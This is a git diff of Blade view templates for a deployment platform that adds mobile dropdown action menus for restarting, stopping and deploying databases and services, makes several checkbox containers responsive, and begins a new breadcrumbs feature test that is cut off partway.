-                                    <path d="M19.933 13.041a8 8 0 1 1-9.925-8.788c3.899-1 7.935 1.007 9.425 4.747" />
-                                    <path d="M20 4v5h-5" />
-                                </g>
-                            </svg>
-                            Restart
-                        </x-slot:button-title>
-                    </x-modal-confirmation>
-                    <x-modal-confirmation title="Confirm Database Stopping?" buttonTitle="Stop" submitAction="stop"
-                        :checkboxes="$checkboxes" :actions="[
-                            'This database will be stopped.',
-                            'If the database is currently in use data could be lost.',
-                            'All non-persistent data of this database (containers, networks, unused images) will be deleted (don\'t worry, no data is lost and you can start the database again).',
-                        ]" :confirmWithText="false" :confirmWithPassword="false"
-                        step1ButtonText="Continue" step2ButtonText="Confirm">
-                        <x-slot:button-title>
-                            <svg xmlns="http://www.w3.org/2000/svg" class="w-5 h-5 text-error" viewBox="0 0 24 24"
-                                stroke-width="2" stroke="currentColor" fill="none" stroke-linecap="round"
+                <div class="md:hidden">
+                    <x-dropdown>
+                        <x-slot:title>
+                            Actions
+                        </x-slot>
+                        @if (!str($database->status)->startsWith('exited'))
+                            <x-modal-confirmation title="Confirm Database Restart?" buttonTitle="Restart" submitAction="restart"
+                                :actions="[
+                                    'This database will be unavailable during the restart.',
+                                    'If the database is currently in use data could be lost.',
+                                ]" :confirmWithText="false" :confirmWithPassword="false" step2ButtonText="Restart Database"
+                                :dispatchEvent="true" dispatchEventType="restartEvent">
+                                <x-slot:trigger>
+                                    <div class="dropdown-item dropdown-item-touch">
+                                        Restart
+                                    </div>
+                                </x-slot:trigger>
+                            </x-modal-confirmation>
+                            <x-modal-confirmation title="Confirm Database Stopping?" buttonTitle="Stop" submitAction="stop"
+                                :checkboxes="$checkboxes" :actions="[
+                                    'This database will be stopped.',
+                                    'If the database is currently in use data could be lost.',
+                                    'All non-persistent data of this database (containers, networks, unused images) will be deleted (don\'t worry, no data is lost and you can start the database again).',
+                                ]" :confirmWithText="false" :confirmWithPassword="false"
+                                step1ButtonText="Continue" step2ButtonText="Confirm">
+                                <x-slot:trigger>
+                                    <div class="dropdown-item dropdown-item-touch text-error">
+                                        Stop
+                                    </div>
+                                </x-slot:trigger>
+                            </x-modal-confirmation>
+                        @else
+                            <div class="dropdown-item dropdown-item-touch" @click="$wire.dispatch('startEvent')">
+                                Start
+                            </div>
+                        @endif
+                    </x-dropdown>
+                </div>
+                <div class="hidden flex-wrap items-center gap-2 md:flex">
+                    @if (!str($database->status)->startsWith('exited'))
+                        <x-modal-confirmation title="Confirm Database Restart?" buttonTitle="Restart" submitAction="restart"
+                            :actions="[
+                                'This database will be unavailable during the restart.',
+                                'If the database is currently in use data could be lost.',
+                            ]" :confirmWithText="false" :confirmWithPassword="false" step2ButtonText="Restart Database"
+                            :dispatchEvent="true" dispatchEventType="restartEvent">
+                            <x-slot:button-title>
+                                <svg class="w-5 h-5 dark:text-warning" viewBox="0 0 24 24"
+                                    xmlns="http://www.w3.org/2000/svg">
+                                    <g fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round"
+                                        stroke-width="2">
+                                        <path d="M19.933 13.041a8 8 0 1 1-9.925-8.788c3.899-1 7.935 1.007 9.425 4.747" />
+                                        <path d="M20 4v5h-5" />
+                                    </g>
+                                </svg>
+                                Restart
+                            </x-slot:button-title>
+                        </x-modal-confirmation>
+                        <x-modal-confirmation title="Confirm Database Stopping?" buttonTitle="Stop" submitAction="stop"
+                            :checkboxes="$checkboxes" :actions="[
+                                'This database will be stopped.',
+                                'If the database is currently in use data could be lost.',
+                                'All non-persistent data of this database (containers, networks, unused images) will be deleted (don\'t worry, no data is lost and you can start the database again).',
+                            ]" :confirmWithText="false" :confirmWithPassword="false"
+                            step1ButtonText="Continue" step2ButtonText="Confirm">
+                            <x-slot:button-title>
+                                <svg xmlns="http://www.w3.org/2000/svg" class="w-5 h-5 text-error" viewBox="0 0 24 24"
+                                    stroke-width="2" stroke="currentColor" fill="none" stroke-linecap="round"
+                                    stroke-linejoin="round">
+                                    <path stroke="none" d="M0 0h24v24H0z" fill="none"></path>
+                                    <path d="M6 5m0 1a1 1 0 0 1 1 -1h2a1 1 0 0 1 1 1v12a1 1 0 0 1 -1 1h-2a1 1 0 0 1 -1 -1z">
+                                    </path>
+                                    <path
+                                        d="M14 5m0 1a1 1 0 0 1 1 -1h2a1 1 0 0 1 1 1v12a1 1 0 0 1 -1 1h-2a1 1 0 0 1 -1 -1z">
+                                    </path>
+                                </svg>
+                                Stop
+                            </x-slot:button-title>
+                        </x-modal-confirmation>
+                    @else
+                        <button @click="$wire.dispatch('startEvent')" class="gap-2 button">
+                            <svg xmlns="http://www.w3.org/2000/svg" class="w-5 h-5 dark:text-warning" viewBox="0 0 24 24"
+                                stroke-width="1.5" stroke="currentColor" fill="none" stroke-linecap="round"
                                 stroke-linejoin="round">
-                                <path stroke="none" d="M0 0h24v24H0z" fill="none"></path>
-                                <path d="M6 5m0 1a1 1 0 0 1 1 -1h2a1 1 0 0 1 1 1v12a1 1 0 0 1 -1 1h-2a1 1 0 0 1 -1 -1z">
-                                </path>
-                                <path
-                                    d="M14 5m0 1a1 1 0 0 1 1 -1h2a1 1 0 0 1 1 1v12a1 1 0 0 1 -1 1h-2a1 1 0 0 1 -1 -1z">
-                                </path>
+                                <path stroke="none" d="M0 0h24v24H0z" fill="none" />
+                                <path d="M7 4v16l13 -8z" />
                             </svg>
-                            Stop
-                        </x-slot:button-title>
-                    </x-modal-confirmation>
-                @else
-                    <button @click="$wire.dispatch('startEvent')" class="gap-2 button">
-                        <svg xmlns="http://www.w3.org/2000/svg" class="w-5 h-5 dark:text-warning" viewBox="0 0 24 24"
-                            stroke-width="1.5" stroke="currentColor" fill="none" stroke-linecap="round"
-                            stroke-linejoin="round">
-                            <path stroke="none" d="M0 0h24v24H0z" fill="none" />
-                            <path d="M7 4v16l13 -8z" />
-                        </svg>
-                        Start
-                    </button>
-                @endif
+                            Start
+                        </button>
+                    @endif
+                </div>
                 @script
                     <script>
                         $wire.$on('startEvent', () => {
diff --git a/resources/views/livewire/project/service/file-storage.blade.php b/resources/views/livewire/project/service/file-storage.blade.php
index 4bd88d761..48eb935ab 100644
--- a/resources/views/livewire/project/service/file-storage.blade.php
+++ b/resources/views/livewire/project/service/file-storage.blade.php
@@ -17,7 +17,7 @@
         </div>
         @if ($resource instanceof \App\Models\Application)
             @can('update', $resource)
-                <div class="w-96">
+                <div class="w-full sm:w-96">
                     <x-forms.checkbox instantSave canGate="update" :canResource="$resource" label="Add suffix for PR deployments"
                         id="isPreviewSuffixEnabled"
                         helper="When enabled, a -pr-N suffix is added to this volume's path for preview deployments (e.g. ./scripts becomes ./scripts-pr-1). Disable this for volumes that contain shared config or scripts from your repository."></x-forms.checkbox>
@@ -67,7 +67,7 @@
                 @if (!$fileStorage->is_directory)
                     @can('update', $resource)
                         @if (data_get($resource, 'settings.is_preserve_repository_enabled'))
-                            <div class="w-96">
+                            <div class="w-full sm:w-96">
                                 <x-forms.checkbox instantSave label="Is this based on the Git repository?"
                                     id="isBasedOnGit"></x-forms.checkbox>
                             </div>
@@ -82,7 +82,7 @@
                         @endif
                     @else
                         @if (data_get($resource, 'settings.is_preserve_repository_enabled'))
-                            <div class="w-96">
+                            <div class="w-full sm:w-96">
                                 <x-forms.checkbox disabled label="Is this based on the Git repository?"
                                     id="isBasedOnGit"></x-forms.checkbox>
                             </div>
@@ -103,7 +103,7 @@
                         </div>
                     @endcan
                     @if (data_get($resource, 'settings.is_preserve_repository_enabled'))
-                        <div class="w-96">
+                        <div class="w-full sm:w-96">
                             <x-forms.checkbox disabled label="Is this based on the Git repository?"
                                 id="isBasedOnGit"></x-forms.checkbox>
                         </div>
diff --git a/resources/views/livewire/project/service/heading.blade.php b/resources/views/livewire/project/service/heading.blade.php
index c33ebc279..264a96e9c 100644
--- a/resources/views/livewire/project/service/heading.blade.php
+++ b/resources/views/livewire/project/service/heading.blade.php
@@ -9,120 +9,198 @@
     <h1>{{ $title }}</h1>
     <x-resources.breadcrumbs :resource="$service" :parameters="$parameters" />
     <div class="navbar-main" x-data">
-        <nav class="flex shrink-0 gap-6 items-center whitespace-nowrap scrollbar min-h-10">
-            <a class="{{ request()->routeIs('project.service.configuration') ? 'dark:text-white' : '' }}" {{ wireNavigate() }}
+        <nav
+            class="scrollbar flex min-h-10 w-full flex-nowrap items-center gap-6 overflow-x-scroll overflow-y-hidden pb-1 whitespace-nowrap md:w-auto md:overflow-visible">
+            <a class="shrink-0 {{ request()->routeIs('project.service.configuration') ? 'dark:text-white' : '' }}" {{ wireNavigate() }}
                 href="{{ route('project.service.configuration', $parameters) }}">
                 <button>Configuration</button>
             </a>
-            <a class="{{ request()->routeIs('project.service.logs') ? 'dark:text-white' : '' }}"
+            <a class="shrink-0 {{ request()->routeIs('project.service.logs') ? 'dark:text-white' : '' }}"
                 href="{{ route('project.service.logs', $parameters) }}">
                 <button>Logs</button>
             </a>
             @can('canAccessTerminal')
-                <a class="{{ request()->routeIs('project.service.command') ? 'dark:text-white' : '' }}"
+                <a class="shrink-0 {{ request()->routeIs('project.service.command') ? 'dark:text-white' : '' }}"
                     href="{{ route('project.service.command', $parameters) }}">
                     <button>Terminal</button>
                 </a>
             @endcan
-            <x-services.links :service="$service" />
+            <div class="shrink-0">
+                <x-services.links :service="$service" />
+            </div>
         </nav>
         @if ($service->isDeployable)
-            <div class="flex flex-wrap order-first gap-2 items-center sm:order-last">
-                <x-services.advanced :service="$service" />
-                @if (str($service->status)->contains('running'))
-                    <x-forms.button title="Restart" @click="$wire.dispatch('restartEvent')">
-                        <svg class="w-5 h-5 dark:text-warning" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
-                            <g fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round"
-                                stroke-width="2">
-                                <path d="M19.933 13.041 a8 8 0 1 1-9.925-8.788c3.899-1 7.935 1.007 9.425 4.747" />
-                                <path d="M20 4v5h-5" />
-                            </g>
-                        </svg>
-                        Restart
-                    </x-forms.button>
-                    <x-modal-confirmation title="Confirm Service Stopping?" buttonTitle="Stop" :dispatchEvent="true"
-                        submitAction="stop" dispatchEventType="stopEvent" :checkboxes="$checkboxes" :actions="[__('service.stop'), __('resource.non_persistent')]"
-                        :confirmWithText="false" :confirmWithPassword="false" step1ButtonText="Continue" step2ButtonText="Confirm">
-                        <x-slot:button-title>
-                            <svg xmlns="http://www.w3.org/2000/svg" class="w-5 h-5 text-error" viewBox="0 0 24 24"
-                                stroke-width="2" stroke="currentColor" fill="none" stroke-linecap="round"
-                                stroke-linejoin="round">
-                                <path stroke="none" d="M0 0h24v24H0z" fill="none"></path>
-                                <path d="M6 5m0 1a1 1 0 0 1 1 -1h2a1 1 0 0 1 1 1v12a1 1 0 0 1 -1 1h-2a1 1 0 0 1 -1 -1z">
-                                </path>
-                                <path
-                                    d="M14 5m0 1a1 1 0 0 1 1 -1h2a1 1 0 0 1 1 1v12a1 1 0 0 1 -1 1h-2a1 1 0 0 1 -1 -1z">
-                                </path>
+            <div class="order-first flex flex-wrap items-center gap-2 sm:order-last">
+                <div class="md:hidden">
+                    <x-dropdown>
+                        <x-slot:title>
+                            Actions
+                        </x-slot>
+                        @if (str($service->status)->contains('running'))
+                            <div class="dropdown-item dropdown-item-touch" @click="$wire.dispatch('restartEvent')">
+                                Restart
+                            </div>
+                            <x-modal-confirmation title="Confirm Service Stopping?" buttonTitle="Stop" :dispatchEvent="true"
+                                submitAction="stop" dispatchEventType="stopEvent" :checkboxes="$checkboxes" :actions="[__('service.stop'), __('resource.non_persistent')]"
+                                :confirmWithText="false" :confirmWithPassword="false" step1ButtonText="Continue" step2ButtonText="Confirm">
+                                <x-slot:trigger>
+                                    <div class="dropdown-item dropdown-item-touch text-error">
+                                        Stop
+                                    </div>
+                                </x-slot:trigger>
+                            </x-modal-confirmation>
+                            <div class="mx-2 my-1 border-t border-neutral-200 dark:border-coolgray-300"></div>
+                            <div class="dropdown-item dropdown-item-touch" @click="$wire.dispatch('pullAndRestartEvent')">
+                                Pull Latest Images & Restart
+                            </div>
+                        @elseif (str($service->status)->contains('degraded'))
+                            <div class="dropdown-item dropdown-item-touch" @click="$wire.dispatch('restartEvent')">
+                                Restart
+                            </div>
+                            <x-modal-confirmation title="Confirm Service Stopping?" buttonTitle="Stop" :dispatchEvent="true"
+                                submitAction="stop" dispatchEventType="stopEvent" :checkboxes="$checkboxes" :actions="[__('service.stop'), __('resource.non_persistent')]"
+                                :confirmWithText="false" :confirmWithPassword="false" step1ButtonText="Continue" step2ButtonText="Confirm">
+                                <x-slot:trigger>
+                                    <div class="dropdown-item dropdown-item-touch text-error">
+                                        Stop
+                                    </div>
+                                </x-slot:trigger>
+                            </x-modal-confirmation>
+                            <div class="mx-2 my-1 border-t border-neutral-200 dark:border-coolgray-300"></div>
+                            <div class="dropdown-item dropdown-item-touch" @click="$wire.dispatch('forceDeployEvent')">
+                                Force Restart
+                            </div>
+                        @elseif (str($service->status)->contains('exited'))
+                            <div class="dropdown-item dropdown-item-touch" @click="$wire.dispatch('startEvent')">
+                                Deploy
+                            </div>
+                            <div class="mx-2 my-1 border-t border-neutral-200 dark:border-coolgray-300"></div>
+                            <div class="dropdown-item dropdown-item-touch" @click="$wire.dispatch('forceDeployEvent')">
+                                Force Deploy
+                            </div>
+                            <div class="dropdown-item dropdown-item-touch" wire:click='stop(true)'>
+                                Force Cleanup Containers
+                            </div>
+                        @else
+                            <x-modal-confirmation title="Confirm Service Stopping?" buttonTitle="Stop" :dispatchEvent="true"
+                                submitAction="stop" dispatchEventType="stopEvent" :checkboxes="$checkboxes" :actions="[__('service.stop'), __('resource.non_persistent')]"
+                                :confirmWithText="false" :confirmWithPassword="false" step1ButtonText="Continue" step2ButtonText="Confirm">
+                                <x-slot:trigger>
+                                    <div class="dropdown-item dropdown-item-touch text-error">
+                                        Stop
+                                    </div>
+                                </x-slot:trigger>
+                            </x-modal-confirmation>
+                            <div class="dropdown-item dropdown-item-touch" @click="$wire.dispatch('startEvent')">
+                                Deploy
+                            </div>
+                            <div class="mx-2 my-1 border-t border-neutral-200 dark:border-coolgray-300"></div>
+                            <div class="dropdown-item dropdown-item-touch" @click="$wire.dispatch('forceDeployEvent')">
+                                Force Deploy
+                            </div>
+                            <div class="dropdown-item dropdown-item-touch" wire:click='stop(true)'>
+                                Force Cleanup Containers
+                            </div>
+                        @endif
+                    </x-dropdown>
+                </div>
+                <div class="hidden flex-wrap items-center gap-2 md:flex">
+                    <x-services.advanced :service="$service" />
+                    @if (str($service->status)->contains('running'))
+                        <x-forms.button title="Restart" @click="$wire.dispatch('restartEvent')">
+                            <svg class="w-5 h-5 dark:text-warning" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
+                                <g fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round"
+                                    stroke-width="2">
+                                    <path d="M19.933 13.041 a8 8 0 1 1-9.925-8.788c3.899-1 7.935 1.007 9.425 4.747" />
+                                    <path d="M20 4v5h-5" />
+                                </g>
                             </svg>
-                            Stop
-                        </x-slot:button-title>
-                    </x-modal-confirmation>
-                @elseif (str($service->status)->contains('degraded'))
-                    <x-forms.button title="Restart" @click="$wire.dispatch('restartEvent')">
-                        <svg class="w-5 h-5 dark:text-warning" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
-                            <g fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round"
-                                stroke-width="2">
-                                <path d="M19.933 13.041a8 8 0 1 1-9.925-8.788c3.899-1 7.935 1.007 9.425 4.747" />
-                                <path d="M20 4v5h-5" />
-                            </g>
-                        </svg>
-                        Restart
-                    </x-forms.button>
-                    <x-modal-confirmation title="Confirm Service Stopping?" buttonTitle="Stop" :dispatchEvent="true"
-                        submitAction="stop" dispatchEventType="stopEvent" :checkboxes="$checkboxes" :actions="[__('service.stop'), __('resource.non_persistent')]"
-                        :confirmWithText="false" :confirmWithPassword="false" step1ButtonText="Continue" step2ButtonText="Confirm">
-                        <x-slot:button-title>
-                            <svg xmlns="http://www.w3.org/2000/svg" class="w-5 h-5 text-error" viewBox="0 0 24 24"
-                                stroke-width="2" stroke="currentColor" fill="none" stroke-linecap="round"
-                                stroke-linejoin="round">
-                                <path stroke="none" d="M0 0h24v24H0z" fill="none"></path>
-                                <path d="M6 5m0 1a1 1 0 0 1 1 -1h2a1 1 0 0 1 1 1v12a1 1 0 0 1 -1 1h-2a1 1 0 0 1 -1 -1z">
-                                </path>
-                                <path
-                                    d="M14 5m0 1a1 1 0 0 1 1 -1h2a1 1 0 0 1 1 1v12a1 1 0 0 1 -1 1h-2a1 1 0 0 1 -1 -1z">
-                                </path>
+                            Restart
+                        </x-forms.button>
+                        <x-modal-confirmation title="Confirm Service Stopping?" buttonTitle="Stop" :dispatchEvent="true"
+                            submitAction="stop" dispatchEventType="stopEvent" :checkboxes="$checkboxes" :actions="[__('service.stop'), __('resource.non_persistent')]"
+                            :confirmWithText="false" :confirmWithPassword="false" step1ButtonText="Continue" step2ButtonText="Confirm">
+                            <x-slot:button-title>
+                                <svg xmlns="http://www.w3.org/2000/svg" class="w-5 h-5 text-error" viewBox="0 0 24 24"
+                                    stroke-width="2" stroke="currentColor" fill="none" stroke-linecap="round"
+                                    stroke-linejoin="round">
+                                    <path stroke="none" d="M0 0h24v24H0z" fill="none"></path>
+                                    <path d="M6 5m0 1a1 1 0 0 1 1 -1h2a1 1 0 0 1 1 1v12a1 1 0 0 1 -1 1h-2a1 1 0 0 1 -1 -1z">
+                                    </path>
+                                    <path
+                                        d="M14 5m0 1a1 1 0 0 1 1 -1h2a1 1 0 0 1 1 1v12a1 1 0 0 1 -1 1h-2a1 1 0 0 1 -1 -1z">
+                                    </path>
+                                </svg>
+                                Stop
+                            </x-slot:button-title>
+                        </x-modal-confirmation>
+                    @elseif (str($service->status)->contains('degraded'))
+                        <x-forms.button title="Restart" @click="$wire.dispatch('restartEvent')">
+                            <svg class="w-5 h-5 dark:text-warning" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
+                                <g fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round"
+                                    stroke-width="2">
+                                    <path d="M19.933 13.041a8 8 0 1 1-9.925-8.788c3.899-1 7.935 1.007 9.425 4.747" />
+                                    <path d="M20 4v5h-5" />
+                                </g>
                             </svg>
-                            Stop
-                        </x-slot:button-title>
-                    </x-modal-confirmation>
-                @elseif (str($service->status)->contains('exited'))
-                    <button @click="$wire.dispatch('startEvent')" class="gap-2 button">
-                        <svg xmlns="http://www.w3.org/2000/svg" class="w-5 h-5 dark:text-warning" viewBox="0 0 24 24"
-                            stroke-width="1.5" stroke="currentColor" fill="none" stroke-linecap="round"
-                            stroke-linejoin="round">
-                            <path stroke="none" d="M0 0h24v24H0z" fill="none" />
-                            <path d="M7 4v16l13 -8z" />
-                        </svg>
-                        Deploy
-                    </button>
-                @else
-                    <x-modal-confirmation title="Confirm Service Stopping?" buttonTitle="Stop" :dispatchEvent="true"
-                        submitAction="stop" dispatchEventType="stopEvent" :checkboxes="$checkboxes" :actions="[__('service.stop'), __('resource.non_persistent')]"
-                        :confirmWithText="false" :confirmWithPassword="false" step1ButtonText="Continue" step2ButtonText="Confirm">
-                        <x-slot:button-title>
-                            <svg xmlns="http://www.w3.org/2000/svg" class="w-5 h-5 text-error" viewBox="0 0 24 24"
-                                stroke-width="2" stroke="currentColor" fill="none" stroke-linecap="round"
+                            Restart
+                        </x-forms.button>
+                        <x-modal-confirmation title="Confirm Service Stopping?" buttonTitle="Stop" :dispatchEvent="true"
+                            submitAction="stop" dispatchEventType="stopEvent" :checkboxes="$checkboxes" :actions="[__('service.stop'), __('resource.non_persistent')]"
+                            :confirmWithText="false" :confirmWithPassword="false" step1ButtonText="Continue" step2ButtonText="Confirm">
+                            <x-slot:button-title>
+                                <svg xmlns="http://www.w3.org/2000/svg" class="w-5 h-5 text-error" viewBox="0 0 24 24"
+                                    stroke-width="2" stroke="currentColor" fill="none" stroke-linecap="round"
+                                    stroke-linejoin="round">
+                                    <path stroke="none" d="M0 0h24v24H0z" fill="none"></path>
+                                    <path d="M6 5m0 1a1 1 0 0 1 1 -1h2a1 1 0 0 1 1 1v12a1 1 0 0 1 -1 1h-2a1 1 0 0 1 -1 -1z">
+                                    </path>
+                                    <path
+                                        d="M14 5m0 1a1 1 0 0 1 1 -1h2a1 1 0 0 1 1 1v12a1 1 0 0 1 -1 1h-2a1 1 0 0 1 -1 -1z">
+                                    </path>
+                                </svg>
+                                Stop
+                            </x-slot:button-title>
+                        </x-modal-confirmation>
+                    @elseif (str($service->status)->contains('exited'))
+                        <button @click="$wire.dispatch('startEvent')" class="gap-2 button">
+                            <svg xmlns="http://www.w3.org/2000/svg" class="w-5 h-5 dark:text-warning" viewBox="0 0 24 24"
+                                stroke-width="1.5" stroke="currentColor" fill="none" stroke-linecap="round"
                                 stroke-linejoin="round">
-                                <path stroke="none" d="M0 0h24v24H0z" fill="none"></path>
-                                <path d="M6 5m0 1a1 1 0 0 1 1 -1h2a1 1 0 0 1 1 1v12a1 1 0 0 1 -1 1h-2a1 1 0 0 1 -1 -1z">
-                                </path>
-                                <path
-                                    d="M14 5m0 1a1 1 0 0 1 1 -1h2a1 1 0 0 1 1 1v12a1 1 0 0 1 -1 1h-2a1 1 0 0 1 -1 -1z">
-                                </path>
+                                <path stroke="none" d="M0 0h24v24H0z" fill="none" />
+                                <path d="M7 4v16l13 -8z" />
                             </svg>
-                            Stop
-                        </x-slot:button-title>
-                    </x-modal-confirmation>
-                    <button @click="$wire.dispatch('startEvent')" class="gap-2 button">
-                        <svg xmlns="http://www.w3.org/2000/svg" class="w-5 h-5 dark:text-warning" viewBox="0 0 24 24"
-                            stroke-width="1.5" stroke="currentColor" fill="none" stroke-linecap="round"
-                            stroke-linejoin="round">
-                            <path stroke="none" d="M0 0h24v24H0z" fill="none" />
-                            <path d="M7 4v16l13 -8z" />
-                        </svg>
-                        Deploy
-                    </button>
-                @endif
+                            Deploy
+                        </button>
+                    @else
+                        <x-modal-confirmation title="Confirm Service Stopping?" buttonTitle="Stop" :dispatchEvent="true"
+                            submitAction="stop" dispatchEventType="stopEvent" :checkboxes="$checkboxes" :actions="[__('service.stop'), __('resource.non_persistent')]"
+                            :confirmWithText="false" :confirmWithPassword="false" step1ButtonText="Continue" step2ButtonText="Confirm">
+                            <x-slot:button-title>
+                                <svg xmlns="http://www.w3.org/2000/svg" class="w-5 h-5 text-error" viewBox="0 0 24 24"
+                                    stroke-width="2" stroke="currentColor" fill="none" stroke-linecap="round"
+                                    stroke-linejoin="round">
+                                    <path stroke="none" d="M0 0h24v24H0z" fill="none"></path>
+                                    <path d="M6 5m0 1a1 1 0 0 1 1 -1h2a1 1 0 0 1 1 1v12a1 1 0 0 1 -1 1h-2a1 1 0 0 1 -1 -1z">
+                                    </path>
+                                    <path
+                                        d="M14 5m0 1a1 1 0 0 1 1 -1h2a1 1 0 0 1 1 1v12a1 1 0 0 1 -1 1h-2a1 1 0 0 1 -1 -1z">
+                                    </path>
+                                </svg>
+                                Stop
+                            </x-slot:button-title>
+                        </x-modal-confirmation>
+                        <button @click="$wire.dispatch('startEvent')" class="gap-2 button">
+                            <svg xmlns="http://www.w3.org/2000/svg" class="w-5 h-5 dark:text-warning" viewBox="0 0 24 24"
+                                stroke-width="1.5" stroke="currentColor" fill="none" stroke-linecap="round"
+                                stroke-linejoin="round">
+                                <path stroke="none" d="M0 0h24v24H0z" fill="none" />
+                                <path d="M7 4v16l13 -8z" />
+                            </svg>
+                            Deploy
+                        </button>
+                    @endif
+                </div>
             </div>
         @else
             <div class="flex flex-wrap order-first gap-2 items-center sm:order-last">
diff --git a/resources/views/livewire/project/service/index.blade.php b/resources/views/livewire/project/service/index.blade.php
index 8c1c09e04..f4caedb8d 100644
--- a/resources/views/livewire/project/service/index.blade.php
+++ b/resources/views/livewire/project/service/index.blade.php
@@ -243,7 +243,7 @@ class="w-auto dark:bg-coolgray-200 dark:hover:bg-coolgray-300">
                             </div>
                         </div>
                         <h3 class="pt-2">Advanced</h3>
-                        <div class="w-96">
+                        <div class="w-full sm:w-96">
                             <x-forms.checkbox canGate="update" :canResource="$serviceDatabase" instantSave="instantSaveExclude"
                                 label="Exclude from service status"
                                 helper="If you do not need to monitor this resource, enable. Useful if this service is optional."
diff --git a/resources/views/livewire/project/service/stack-form.blade.php b/resources/views/livewire/project/service/stack-form.blade.php
index 8972345bc..415077cc5 100644
--- a/resources/views/livewire/project/service/stack-form.blade.php
+++ b/resources/views/livewire/project/service/stack-form.blade.php
@@ -20,7 +20,7 @@
             placeholder="My super WordPress site" />
         <x-forms.input canGate="update" :canResource="$service" id="description" label="Description" />
     </div>
-    <div class="w-96">
+    <div class="w-full sm:w-96">
         <x-forms.checkbox canGate="update" :canResource="$service" instantSave id="connectToDockerNetwork"
             label="Connect To Predefined Network"
             helper="By default, you do not reach the Coolify defined networks.<br>Starting a docker compose based resource will have an internal network. <br>If you connect to a Coolify defined network, you maybe need to use different internal DNS names to connect to a resource.<br><br>For more information, check <a class='underline dark:text-white' target='_blank' href='https://coolify.io/docs/knowledge-base/docker/compose#connect-to-predefined-networks'>this</a>." />
@@ -46,4 +46,4 @@ class="font-bold">{{ data_get($field, 'serviceName') }}</span>{{ data_get($field
             @endforeach
         </div>
     @endif
-</form>
\ No newline at end of file
+</form>
diff --git a/resources/views/livewire/project/shared/storages/show.blade.php b/resources/views/livewire/project/shared/storages/show.blade.php
index 7fc58000c..c7de8ad9e 100644
--- a/resources/views/livewire/project/shared/storages/show.blade.php
+++ b/resources/views/livewire/project/shared/storages/show.blade.php
@@ -40,7 +40,7 @@
             @endif
             @if (!$isService)
                 @can('update', $resource)
-                    <div class="w-96">
+                    <div class="w-full sm:w-96">
                         <x-forms.checkbox instantSave canGate="update" :canResource="$resource" label="Add suffix for PR deployments"
                             id="isPreviewSuffixEnabled"
                             helper="When enabled, a -pr-N suffix is added to this volume's name for preview deployments (e.g. myvolume becomes myvolume-pr-1). Disable this for volumes that should be shared between the main and preview deployments."></x-forms.checkbox>
@@ -64,7 +64,7 @@
                     </div>
                 @endif
                 @if (!$isService)
-                    <div class="w-96">
+                    <div class="w-full sm:w-96">
                         <x-forms.checkbox instantSave canGate="update" :canResource="$resource" label="Add suffix for PR deployments"
                             id="isPreviewSuffixEnabled"
                             helper="When enabled, a -pr-N suffix is added to this volume's name for preview deployments (e.g. myvolume becomes myvolume-pr-1). Disable this for volumes that should be shared between the main and preview deployments."></x-forms.checkbox>
diff --git a/resources/views/livewire/server/proxy.blade.php b/resources/views/livewire/server/proxy.blade.php
index e7bfc151c..127f583d6 100644
--- a/resources/views/livewire/server/proxy.blade.php
+++ b/resources/views/livewire/server/proxy.blade.php
@@ -31,7 +31,7 @@
                         </x-callout>
                     @endif
                     <h3>Advanced</h3>
-                    <div class="pb-6 w-96">
+                    <div class="pb-6 w-full sm:w-96">
                         <x-forms.checkbox canGate="update" :canResource="$server"
                             helper="If set, all resources will only have docker container labels for {{ str($server->proxyType())->title() }}.<br>For applications, labels needs to be regenerated manually. <br>Resources needs to be restarted."
                             id="generateExactLabels"
diff --git a/resources/views/livewire/server/sentinel.blade.php b/resources/views/livewire/server/sentinel.blade.php
index 5ca535cbc..27a6d7eed 100644
--- a/resources/views/livewire/server/sentinel.blade.php
+++ b/resources/views/livewire/server/sentinel.blade.php
@@ -44,7 +44,7 @@
                     @endif
                 </div>
                 <div class="flex flex-col gap-2">
-                    <div class="w-96">
+                    <div class="w-full sm:w-96">
                         <x-forms.checkbox canGate="update" :canResource="$server" wire:model.live="isSentinelEnabled"
                             label="Enable Sentinel" />
                         @if ($server->isSentinelEnabled())
diff --git a/resources/views/livewire/server/show.blade.php b/resources/views/livewire/server/show.blade.php
index 7017d7104..d694174d5 100644
--- a/resources/views/livewire/server/show.blade.php
+++ b/resources/views/livewire/server/show.blade.php
@@ -274,7 +274,7 @@ class="w-full input opacity-50 cursor-not-allowed"
 
                     <div class="w-full">
                         @if (!$server->isLocalhost())
-                            <div class="w-96">
+                            <div class="w-full sm:w-96">
                                 @if ($isBuildServerLocked)
                                     <x-forms.checkbox disabled instantSave id="isBuildServer"
                                         helper="You can't use this server as a build server because it has defined resources."
diff --git a/resources/views/livewire/source/github/change.blade.php b/resources/views/livewire/source/github/change.blade.php
index 9ccf1e2b7..e47fb0ae0 100644
--- a/resources/views/livewire/source/github/change.blade.php
+++ b/resources/views/livewire/source/github/change.blade.php
@@ -271,7 +271,7 @@ class=""
                             <div>You need to register a GitHub App before using this source.</div>
                         @endif
 
-                        <div class="flex flex-col gap-2 pt-4 w-96">
+                        <div class="flex w-full flex-col gap-2 pt-4 sm:w-96">
                             <x-forms.checkbox disabled id="default_permissions" label="Mandatory"
                                 helper="Contents: read<br>Metadata: read<br>Email: read" />
                             <x-forms.checkbox id="preview_deployment_permissions" label="Preview Deployments "
diff --git a/tests/Feature/BreadcrumbsVisibilityTest.php b/tests/Feature/BreadcrumbsVisibilityTest.php
new file mode 100644
index 000000000..f7a42e358
--- /dev/null
+++ b/tests/Feature/BreadcrumbsVisibilityTest.php
@@ -0,0 +1,71 @@
+<?php
+
+use App\Models\Application;
+use App\Models\Environment;
+use App\Models\InstanceSettings;
+use App\Models\Project;
+use App\Models\Server;
+use App\Models\StandaloneDocker;
+use App\Models\Team;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    $this->user = User::factory()->create();
+    $this->team = Team::factory()->create();
+    $this->team->members()->attach($this->user->id, ['role' => 'owner']);
+
+    InstanceSettings::unguarded(function () {
+        InstanceSettings::query()->create([
+            'id' => 0,
